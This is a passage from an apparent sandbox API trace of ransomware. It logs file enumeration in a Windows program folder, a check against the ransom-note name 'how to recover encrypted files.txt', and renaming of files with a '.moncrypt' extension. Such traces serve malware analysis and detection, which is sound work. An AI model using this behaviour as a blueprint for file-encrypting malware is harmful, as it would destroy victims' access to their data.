maker\\shared\\dvdstyles\\push\\1047_576black.png.moncrypt")) returned 0 [0058.229] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0058.229] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.229] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.229] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.229] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.229] GlobalUnlock (hMem=0x44000c) returned 0 [0058.229] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.229] GlobalLock (hMem=0x440004) returned 0x559b88 [0058.229] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.229] GlobalUnlock (hMem=0x44000c) returned 0 [0058.229] GlobalHandle (pMem=0x559b88) returned 0x440004 [0058.229] GlobalUnlock (hMem=0x440004) returned 0 [0058.229] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.230] CharLowerBuffW (in: lpsz="NavigationLeft_ButtonGraphic.png", cchLength=0x20 | out: lpsz="navigationleft_buttongraphic.png") returned 0x20 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.231] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", cchWideChar=81, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 81 [0058.231] CharLowerBuffW (in: lpsz=".png", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0058.231] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngles\\Push\\NavigationLeft_ButtonGraphic.png", lpUsedDefaultChar=0x0) returned 4 [0058.231] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 0x54e280 [0058.231] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0058.231] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0058.231] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0058.231] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png", dwFileAttributes=0x20) returned 0 [0058.232] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0058.232] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_ButtonGraphic.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\push\\navigationleft_buttongraphic.png.moncrypt")) returned 0 [0058.232] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f3626c1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f3626c1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee26b73, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0058.232] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0058.232] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0058.232] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.232] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.232] GlobalUnlock (hMem=0x440004) returned 0 [0058.232] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.232] GlobalLock (hMem=0x44000c) returned 0x559b88 [0058.232] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.232] GlobalUnlock (hMem=0x440004) returned 0 [0058.232] GlobalHandle (pMem=0x559b88) returned 0x44000c [0058.232] GlobalUnlock (hMem=0x44000c) returned 0 [0058.233] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.233] CharLowerBuffW (in: lpsz="NavigationLeft_SelectionSubpicture.png", cchLength=0x26 | out: lpsz="navigationleft_selectionsubpicture.png") returned 0x26 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.233] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0058.234] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0058.234] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Push\\NavigationLeft_SelectionSubpicture.png", cchWideChar=87, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD 